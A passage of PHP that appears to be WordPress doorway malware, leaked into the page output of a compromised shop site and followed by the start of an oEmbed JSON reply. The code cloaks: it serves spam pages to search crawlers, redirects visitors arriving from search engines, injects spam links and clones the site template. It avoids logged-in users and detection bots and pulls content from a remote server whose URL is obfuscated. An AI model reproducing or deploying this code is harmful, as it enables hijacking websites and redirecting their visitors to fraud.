sk\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#', '#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i', '#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i', '#www\.cys\.ru#i', '#Wysigot#i', '#Ahrefs#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i', '#CFNetwork#i', '#ConveraCrawler#i', '#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i', '#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i', '#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i', '#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i', '#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i', '#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i', '#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i', '#Yanga#i', '#Yeti#i', '#jeeves#i', '#WordPress#i', '#scooter#i', '#av\s*fetch#i', '#asterias#i', '#spiderthread\srevision#i', '#sqworm#i', '#infoseek sidewinder#i', '#ultraseek#i', '#polybot#i', '#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#charlotte#i', '#Vegi\s*bot#i', '#BUbiNG#i', '#ltx71#i', '#MJ12bot#i', '#MegaIndex#i', '#Mediatoolkitbot#i', '#DotBot#i', '#opensiteexplorer#i', '#Go-http-client#i', '#Photon#i', '#bloglovin#i', '#scalaj-http#i', '#AddThis#i', '#LinkWalker#i', '#adscanner#i', '#istellabot#i', '#Datanyze#i'); $badbot = ""; if (strpos("qqq" . preg_replace($uatobadfilter, '-ABOT-', $useragent), '-ABOT-')) { $badbot = "yes"; } if (mysqlTableSeekWP($maintablaname, $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt) != "no" && getCountofTable($maintablaname, $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt) > 3 && !stripos("qqq" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'], "wp-login") && is_user_logged_in() === false && empty($badbot)) { $reddata = readValueFromBD($maintablaname, "wpred, wpredurl", "wphash='admurl'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); $redcode = ""; $redurl = ""; if (!empty($reddata) && $reddata != "no") { $redcode = $reddata["wpred"]; $redurl = $reddata["wpredurl"]; } $currentdoorcache = readValueFromBD($maintablaname, "wpcache, wpk", "wphash='" . $currenthash . "'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if ($currentdoorcache == "no") { $showlinksornot = "no"; $doorsettings = readValueFromBD($maintablaname, "wpset", "wphash='admurl'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if (!empty($doorsettings) && $doorsettings != "no") { $doorsettings = urldecode($doorsettings); $doorsettings = unserialize($doorsettings); $showlinksornot = $doorsettings["ownlinks"]; } if ($showlinksornot == "yes") { $currentlinkscache = readValueFromBD($linkstablaname, "wpcache", "wphash='" . $currenthash . "'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if ($currentlinkscache == "no" || empty($currentlinkscache)) { $randlinks = randomValuesFromTableById($maintablaname, "wpurl,wpk", rand(4, 6), $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if (!empty($randlinks) && $randlinks != "no" && is_array($randlinks)) { $goodlinks = array(); foreach ($randlinks as $onelinkdata) { if (!empty($onelinkdata["wpk"])) { $goodlinks[] = "" . trim(urldecode($onelinkdata["wpk"])) . ""; } } if (count($goodlinks) > 0) { $goodlinks = implode(" ", $goodlinks); insertToBD($linkstablaname, "wphash, wpcache", "'" . $currenthash . "', '" . urlencode($goodlinks) . "'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); } else { $goodlinks = ""; } } } else { $goodlinks = urldecode($currentlinkscache); } if (!empty($goodlinks)) { $bot = ""; if ($redcode == "ktapi" && !empty($redurl)) { $redurl = urldecode($redurl); $redurl = unserialize($redurl); if (count($redurl) == 3) { $bot = goToRedirect($ip, $referer, $useragent, $redurl["kturl"], "", $redurl["lapi"], "yes", "", "", "", ""); } } else { $bot = goToRedirect($ip, $referer, $useragent, "", "", "", "yes", "", "", "", ""); } if ($bot == "bot") { $selfpage = placeLinks($currenturl, $goodlinks); if (!empty($selfpage)) { echo $selfpage; die(); } } } } } else { $clientidfmbd = readValueFromBD($maintablaname, "wpcache", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); $admurlfmbd = readValueFromBD($maintablaname, "wpcache", "wphash='admurl'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if (!empty($clientidfmbd) && !empty($admurlfmbd)) { $admurlfmbd = urldecode($admurlfmbd); $currentkey = $currentdoorcache["wpk"]; $key1frredir = readValueFromBD($maintablaname, "wpk1", "wphash='" . $currenthash . "'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if (empty($key1frredir) || $key1frredir == "no") { $key1frredir = ""; } $redresult = ""; if ($redcode == "ktapi" && !empty($redurl)) { $redurl = urldecode($redurl); $redurl = unserialize($redurl); if (count($redurl) == 3) { $redresult = goToRedirect($ip, $referer, $useragent, $redurl["kturl"], $currenturl, $redurl["mapi"], "", urldecode($currentkey), "", "", $key1frredir); } } elseif (empty($redcode)) { $redresult = goToRedirect($ip, $referer, $useragent, "", $currenturl, "", "", urldecode($currentkey), "", "", ""); } else { $redcode = urldecode($redcode); $redurl = urldecode($redurl); $redresult = goToRedirect($ip, $referer, $useragent, "", $currenturl, "", "", urldecode($currentkey), $redcode, $redurl, $key1frredir); } if (empty($currentdoorcache["wpcache"]) || $currentkey == "edf8329we") { $params = "clientid=" . $clientidfmbd . "&givemecontent=" . $currentkey; $content = httpPost($admurlfmbd, $params); if (!empty($content) && strlen($content) > 1000) { $content = urlencode($content); if ($currentkey != "edf8329we") { updateBDData($maintablaname, $content, "wpcache", "wphash='" . $currenthash . "'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); } } } else { $content = $currentdoorcache["wpcache"]; } if ($redresult == "bot") { if (stripos("qqq" . $useragent, "google") || stripos("qqq" . $useragent, "bing") || stripos("qqq" . $useragent, "yahoo") || stripos("qqq" . $useragent, "yandex")) { $botscount = readValueFromBD($maintablaname, "wpred", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if (empty($botscount) || $botscount == "no") { $botscount = 1; } elseif (is_numeric($botscount)) { $botscount++; } else { $botscount = 1; } if (!empty($botscount)) { updateBDData($maintablaname, $botscount, "wpred", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); } } echo urldecode($content); die(); } elseif (!empty($redresult)) { if (stripos("qqq" . $referer, "google.") || stripos("qqq" . $referer, "yahoo.") || stripos("qqq" . $referer, "bing.") || stripos("qqq" . $referer, "yandex.ru") || stripos("qqq" . $referer, "mail.ru")) { $userscount = readValueFromBD($maintablaname, "wpredurl", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if (empty($userscount) || $userscount == "no") { $userscount = 1; } elseif (is_numeric($userscount)) { $userscount++; } else { $userscount = 1; } if (!empty($userscount)) { updateBDData($maintablaname, $userscount, "wpredurl", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); } } echo $redresult; die(); } elseif (empty($redresult)) { if (stripos("qqq" . $referer, "google.") || stripos("qqq" . $referer, "yahoo.") || stripos("qqq" . $referer, "bing.") || stripos("qqq" . $referer, "yandex.ru") || stripos("qqq" . $referer, "mail.ru")) { $userscount = readValueFromBD($maintablaname, "wpredurl", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if (empty($userscount) || $userscount == "no") { $userscount = 1; } else { $userscount++; } if (!empty($userscount)) { updateBDData($maintablaname, $userscount, "wpredurl", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); } } } } } } } function decodeservurl($servurl) { $goodservurl = array(); foreach (str_split($servurl) as $onechar) { if (is_numeric($onechar)) { if ($onechar >= 7) { $onechar = $onechar - 7; } else { $onechar = $onechar + 10 - 7; } } $goodservurl[] = $onechar; } return urldecode(base64_decode(implode($goodservurl))); } function createIndexBWD($tablename, $indcol, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport); if (!$dbcon) { return "udfgoihdkh48sied"; } $sql = "ALTER TABLE " . $tablename . " ADD INDEX " . $indcol . " (" . $indcol . "(5))"; if (mysqli_query($dbcon, $sql)) { mysqli_close($dbcon); return "yes"; } else { mysqli_close($dbcon); return "orutydrfsxgxcvbxcv"; } } function getStatus($mtablename, $ltablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $checkdata = array(); $checkmaintable = mysqlTableSeekWP($mtablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport); if (!empty($checkmaintable) && $checkmaintable != "no") { $checkdata["maintable"] = "good"; $linescount = getCountofTable($mtablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport); if ($linescount != "no" && $linescount > 3) { $checkdata["cachelines"] = $linescount - 3; $cachecount = getCacheCount($mtablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport); if ($cachecount != "no" && $cachecount != "bad") { $checkdata["cachecount"] = $cachecount; } else { $checkdata["cachecount"] = "bad"; } } else { $checkdata["cachelines"] = "bad"; $checkdata["cachecount"] = "bad"; } } else { $checkdata["maintable"] = "bad"; $checkdata["cachecount"] = "bad"; } $checklinktable = mysqlTableSeekWP($ltablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport); if (!empty($checklinktable) && $checklinktable != "no") { $checkdata["linkable"] = "good"; } else { $checkdata["linkable"] = "bad"; } return $checkdata; } function getCacheCount($tablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport); if (!$dbcon) { return false; } else { $sql = "SELECT COUNT(1) FROM " . $tablename . " WHERE wpcache IS NOT NULL AND wpcache!='' AND wpk IS NOT NULL"; $needvalue = mysqli_query($dbcon, $sql); $needvalue = mysqli_fetch_all($needvalue); mysqli_close($dbcon); if (count($needvalue[0]) > 0) { return $needvalue[0][0]; } else { return "bad"; } } } function goToRedirect($ip, $referrer, $ua, $domain_kt, $url_curr, $apiToken, $forlinks, $keyword, $plainred, $plainredurl, $key1) { if (empty($ip)) { return ""; } if (!empty($apiToken)) { $user_agent_to_filter = array('#Ask\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#', '#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i', '#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i', '#www\.cys\.ru#i', '#Wysigot#i', '#Ahrefs#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i', '#CFNetwork#i', '#ConveraCrawler#i', '#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i', '#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i', '#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i', '#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i', '#msnbot#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i', '#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i', '#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i', '#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i', '#Yanga#i', '#Yeti#i', '#MJ12bot#i', '#jeeves#i', '#WordPress#i', '#scooter#i', '#av\s*fetch#i', '#asterias#i', '#spiderthread revision#i', '#sqworm#i', '#ask#i', '#lycos.spider#i', '#infoseek sidewinder#i', '#ultraseek#i', '#polybot#i', '#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#charlotte#i', '#Vegi\s*bot#i', '#BUbiNG#i', '#ltx71#i', '#YandexBot#i', '#MJ12bot#i', '#MegaIndex#i', '#DotBot#i'); if (strpos("qqq" . preg_replace($user_agent_to_filter, '-ANGRYBOT-', $ua), '-ANGRYBOT-')) { return "bot"; } $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE']; $ua = urlencode($ua); $url = $domain_kt . "?is_api=1&source=" . urlencode($url_curr) . "&action=get&token=" . $apiToken . "&ua=" . $ua . "&ip=" . $ip . "&keyword=" . urlencode($keyword) . "&referrer=" . $referrer . "&lang=" . $lang . "&sub_id_1=" . urlencode($key1); if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 90); $output = curl_exec($ch); curl_close($ch); } else { $params = explode("?", $url); $params = $params[1]; $output = file_get_contents($url, false, stream_context_create(array('http' => array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $params)))); } $result = json_decode($output); if ($result->body !== "bot") { if (!empty($forlinks)) { return ""; } foreach ($result->headers as $header) { header($header); } if ($result->body) { $result->body = urldecode($result->body); return $result->body; } } elseif ($result->body === "bot") { return "bot"; } else { return ""; } } else { $is_bot = ""; $user_agent_to_filter = array('#Ask\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#', '#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i', '#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i', '#www\.cys\.ru#i', '#Wysigot#i', '#Yahoo!\s*Slurp#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i', '#CFNetwork#i', '#ConveraCrawler#i', '#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i', '#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i', '#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i', '#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i', '#msnbot#i', '#msnbot-media#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i', '#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i', '#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i', '#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i', '#Yandex#i', '#Yanga#i', '#Yeti#i', '#msnbot#i', '#spider#i', '#yahoo#i', '#jeeves#i', '#googlebot#i', '#altavista#i', '#scooter#i', '#av\s*fetch#i', '#asterias#i', '#spiderthread revision#i', '#sqworm#i', '#ask#i', '#lycos.spider#i', '#infoseek sidewinder#i', '#ultraseek#i', '#polybot#i', '#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#yahoo!\s*slurp#i', '#charlotte#i', '#bingbot#i'); $stop_ips_masks = array("66\.249\.[6-9][0-9]\.[0-9]", "74\.125\.[0-9]\.[0-9]", "65\.5[2-5]\.[0-9]\.[0-9]", "74\.6\.[0-9]\.[0-9]", "67\.195\.[0-9]\.[0-9]", "72\.30\.[0-9]\.[0-9]", "38\.[0-9]\.[0-9]\.[0-9]", "93\.172\.94\.227", "212\.100\.250\.218", "71\.165\.223\.134", "70\.91\.180\.25", "65\.93\.62\.242", "74\.193\.246\.129", "213\.144\.15\.38", "195\.92\.229\.2", "70\.50\.189\.191", "218\.28\.88\.99", "165\.160\.2\.20", "89\.122\.224\.230", "66\.230\.175\.124", "218\.18\.174\.27", "65\.33\.87\.94", "67\.210\.111\.241", "81\.135\.175\.70", "64\.69\.34\.134", "89\.149\.253\.169", "104\.132\.8\.69"); foreach ($stop_ips_masks as $k => $v) { if (preg_match('#^' . $v . '$#', $ip)) { $is_bot = "bot"; } } if (empty($is_bot) && strpos("qqq" . preg_replace($user_agent_to_filter, '-ANGRYBOT-', $ua), '-ANGRYBOT-')) { $is_bot = "bot"; } if ($is_bot == "bot") { return $is_bot; } if (!empty($forlinks)) { return ""; } if (!empty($plainred)) { if (!empty($plainredurl)) { $plainred = str_ireplace("[REDIRECTURL]", $plainredurl, $plainred); } $plainred = str_ireplace("[DEFISKEY]", str_ireplace(" ", "-", $keyword), $plainred); $plainred = str_ireplace("[SPACEKEY]", $keyword, $plainred); $plainred = str_ireplace("[CURRURL]", $url_curr, $plainred); $plainred = str_ireplace("[REFERER]", $referrer, $plainred); $plainred = str_ireplace("[MULTIKEYREDIRECT]", $key1, $plainred); return $plainred; } else { return ""; } } return ""; } function updateBDData($tablename, $data, $value, $uslovie, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport); if (!$dbcon) { return false; } else { $sql = "UPDATE " . $tablename . " SET $value='" . $data . "' WHERE " . $uslovie . ""; if (mysqli_query($dbcon, $sql)) { mysqli_close($dbcon); return "yes"; } else { mysqli_close($dbcon); return false; } } } function placeLinks($pageurl, $links) { $page = httpGet($pageurl); if (!empty($page)) { $page = preg_replace("/()/", "\$1" . $links, $page, 1); return $page; } else { return ""; } } function randomValuesFromTableById($tablename, $value, $count, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport); if (!$dbcon) { return "udfgoihdkh48sied"; } else { $sql = "SELECT " . $value . " FROM " . $tablename . " WHERE wpk IS NOT NULL ORDER BY RAND() LIMIT " . $count; $needvalue = mysqli_query($dbcon, $sql); $res = array(); $out = array(); $value = explode(",", $value); while ($row = mysqli_fetch_array($needvalue)) { foreach ($value as $k => $onevalue) { $onevalue = trim($onevalue); $res[$onevalue] = $row[$onevalue]; } $out[] = $res; } mysqli_close($dbcon); return $out; } } function getCountofTable($tablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport); if (!$dbcon) { return false; } else { $sql = "SELECT COUNT(1) FROM " . $tablename; $count = mysqli_query($dbcon, $sql); $count = mysqli_fetch_array($count); mysqli_close($dbcon); if (!empty($count[0])) { return $count[0]; } else { return "no"; } } } function deleteLinesFmDB($tablename, $uslovie, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport); if (!$dbcon) { return false; } else { $sql = "DELETE FROM " . $tablename . " WHERE " . $uslovie; mysqli_query($dbcon, $sql); mysqli_close($dbcon); return "yes"; } } function randomUA() { $uas = array("Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"); $uas = shuffleArr($uas); return $uas[0]; } function shuffleArr($arr) { srand((float)microtime() * 1000000); shuffle($arr); return $arr; } function parseTemplate() { $slugname = randString(8); $post_data = array("post_title" => "[HER" . "EISP" . "OSTTI" . "TLE]", "post_name" => $slugname, "post_content" => "[HERE" . "ISC" . "ONT" . "ENT]", 'post_status' => 'publish', 'post_category' => array()); $post_id = wp_insert_post($post_data, true); $permalink = get_permalink($post_id); $permalink = str_ireplace('http://', '', $permalink); $permalink = str_ireplace('https://', '', $permalink); if (is_ssl() === false) { $permalink = "http://" . $permalink; } else { $permalink = "https://" . $permalink; } $sitecode = httpGet($permalink); $permalink = trim($permalink, "/"); if (stripos("qqq" . $permalink, "?p=")) { $urlfrchpu = str_ireplace("?p=" . $post_id, "?p=chpukeyplace", $permalink); } else { $urlfrchpu = str_ireplace($slugname, "chpukeyplace", $permalink); } wp_delete_post($post_id, true); if (!empty($sitecode)) { $regular = "|(.*)<\/title>|iUs"; preg_match_all($regular, $sitecode, $matches); if (!empty($matches[1])) { $matches[1] = array_unique($matches[1]); foreach ($matches[1] as $pagetitlemain) { $sitecode = str_ireplace($pagetitlemain, '[HE' . 'REI' . 'SPAG' . 'ETI' . 'TLE]', $sitecode); } } $regular = "|(<h2.*>.*</h2+>)|iUs"; preg_match_all($regular, $sitecode, $matches); if (!empty($matches[1])) { $matches[1] = array_unique($matches[1]); srand((float)microtime() * 1000000); shuffle($matches[1]); if (count($matches[1]) >= 2) { $counth = count($matches[1]) / 2; $counth = floor($counth); $matches[1] = array_slice($matches[1], 0, $counth - 1); } foreach ($matches[1] as $htagmain) { $sitecode = str_ireplace($htagmain, '[HE' . 'R' . 'EI' . 'SH' . 'TAG]', $sitecode); } } $regular = "|<a\s.*(href=[\"']+.*[\"']+).*>(.*)<\/a>|iUs"; preg_match_all($regular, $sitecode, $matches); if (!empty($matches[1])) { $all_links = $matches[0]; $atagarray = array_combine($matches[2], $matches[1]); $atagarray = array_unique($atagarray); foreach ($atagarray as $anchor => $url) { if (stripos("qqq" . $url, "feed") || stripos("qqq" . $url, "wp-login") || stripos("qqq" . $url, "#") || (stripos("qqq" . $anchor, "<") && stripos("qqq" . $anchor, ">"))) { unset($atagarray[$anchor]); } } srand((float)microtime() * 1000000); shuffle($atagarray); if (count($atagarray) >= 3) { $counta = count($atagarray) / 3; $counta = floor($counta); $atagarray = array_slice($atagarray, 0, $counta - 1); } foreach ($all_links as $atagmain) { foreach ($atagarray as $url) { if (stripos("qqq" . $atagmain, $url)) { $atagtoreplace = preg_replace("/href=[\"']+.*[\"']+/iUs", "href=\"[H" . "ER" . "EIS" . "AT" . "AGL" . "INK]\"", $atagmain); $atagtoreplace = preg_replace("/>.*<\/a>/iUs", ">[HE" . "REIS" . "AT" . "AGA" . "NCH" . "OR]</a>", $atagtoreplace); $sitecode = str_ireplace($atagmain, $atagtoreplace, $sitecode); } } } } $sitecode = str_ireplace($permalink, "#", $sitecode); $sitecode = preg_replace("/<meta property=[\"']{1}og:description[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = preg_replace("/<meta property=[\"']{1}og:title[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = preg_replace("/<meta name=[\"']{1}twitter:description[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = preg_replace("/<meta itemprop=[\"']{1}description[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = preg_replace("/<meta name=[\"']{1}description[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = preg_replace("/<meta name=[\"']{1}dc\.description[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = urlencode($sitecode); $regular = "|(%3Cscript.*%3C%2Fscript%3E)|iUs"; preg_match_all($regular, $sitecode, $matches); if (!empty($matches[1])) { foreach ($matches[1] as $currgooglestat) { if (stripos("qqq" . $currgooglestat, "google-analytics.com") || stripos("qqq" . $currgooglestat, "yandex.ru")) { $sitecode = str_ireplace($currgooglestat, "", $sitecode); } } } if (!empty($sitecode)) { $resultarray = array("chpu" => $urlfrchpu, "sitetemp" => $sitecode); return $resultarray; } } return false; } function httpGet($url) { if (stripos("qqq" . $url, "?")) { $url = $url . "&ertthndxbcvs=yes"; } else { $url = $url . "?ertthndxbcvs=yes"; } if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_USERAGENT, randomUA()); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 90); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $output = curl_exec($ch); curl_close($ch); } else { $output = file_get_contents($url); } return $output; } function httpPost($url, $params) { $params = rtrim($params, '&'); if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_USERAGENT, randomUA()); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_POSTFIELDS, $params); curl_setopt($ch, CURLOPT_TIMEOUT, 40); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $output = curl_exec($ch); curl_close($ch); } else { $output = file_get_contents($url, false, stream_context_create(array('http' => array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $params)))); } return $output; } function readValueFromBD($tablename, $value, $uslovie, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport); if (!$dbcon) { return "udfgoihdkh48sied"; } else { if (!empty($uslovie)) { $sql = "SELECT " . $value . " FROM " . $tablename . " where " . $uslovie; } else { $sql = "SELECT " . $value . " FROM " . $tablename; } $needvalue = mysqli_query($dbcon, $sql); $needvalue = mysqli_fetch_array($needvalue); if (!empty($needvalue)) { if (!empty($uslovie)) { if (stripos($value, ",")) { $value = explode(",", $value); $res = array(); foreach ($value as $onevalue) { $onevalue = trim($onevalue); $res[$onevalue] = $needvalue[$onevalue]; } $needvalue = $res; } else { $needvalue = $needvalue[$value]; } } mysqli_close($dbcon); return $needvalue; } else { mysqli_close($dbcon); return "no"; } } } function insertToBD($tablename, $cols, $data, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport); if (!$dbcon) { return "udfgoihdkh48sied"; } else { $sql = "INSERT INTO " . $tablename . " (" . $cols . ") VALUES (" . $data . ")"; if (mysqli_query($dbcon, $sql)) { mysqli_close($dbcon); return "yes"; } else { mysqli_close($dbcon); return "bewiursfer9uidd"; } } } function mysqlTableSeekWP($tablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport); if (!$dbcon) { return "udfgoihdkh48sied"; } $table_list = mysqli_query($dbcon, "SHOW TABLES FROM " . $dbname . ""); while ($row = mysqli_fetch_row($table_list)) { if ($tablename == $row[0]) { mysqli_close($dbcon); unset($row); unset($table_list); return "yes"; } } mysqli_close($dbcon); unset($row); unset($table_list); return "no"; } function randString($length) { $str = ""; $chars = "abcdefghijklmnopqrstuvwxyz0123456789"; $size = strlen($chars); for ($i = 0; $i < $length; $i++) { $str .= $chars[rand(0, $size - 1)]; } return $str; } function createTable($tablename, $fields, $idfield, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport); if (!$dbcon) { return "udfgoihdkh48sied"; } $table_list = mysqli_query($dbcon, "SHOW TABLES FROM " . $dbname . ""); while ($row = mysqli_fetch_row($table_list)) { if ($tablename == $row[0]) { mysqli_close($dbcon); return "aawtr35tdgvvcsxdff"; } } unset($row); unset($table_list); $sql = "CREATE TABLE " . $tablename . " ($fields)"; mysqli_query($dbcon, $sql); $sql = "ALTER TABLE " . $tablename . " add " . $idfield . " INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY FIRST"; mysqli_query($dbcon, $sql); $table_list = mysqli_query($dbcon, "SHOW TABLES FROM " . $dbname . ""); while ($row = mysqli_fetch_row($table_list)) { if ($tablename == $row[0]) { mysqli_close($dbcon); unset($row); unset($table_list); return "yes"; } } mysqli_close($dbcon); return "bewiursfer9uidd"; }{"version":"1.0","provider_name":"openmarket","provider_url":"https:\/\/shopopenmarket.com","title":"oil sugar scrub1000mg","type":"rich","width":600,"height":338,"html":"<blockquote class=\"wp-embedded-content\" data-secret=\"MRa9xFwrft\"><a 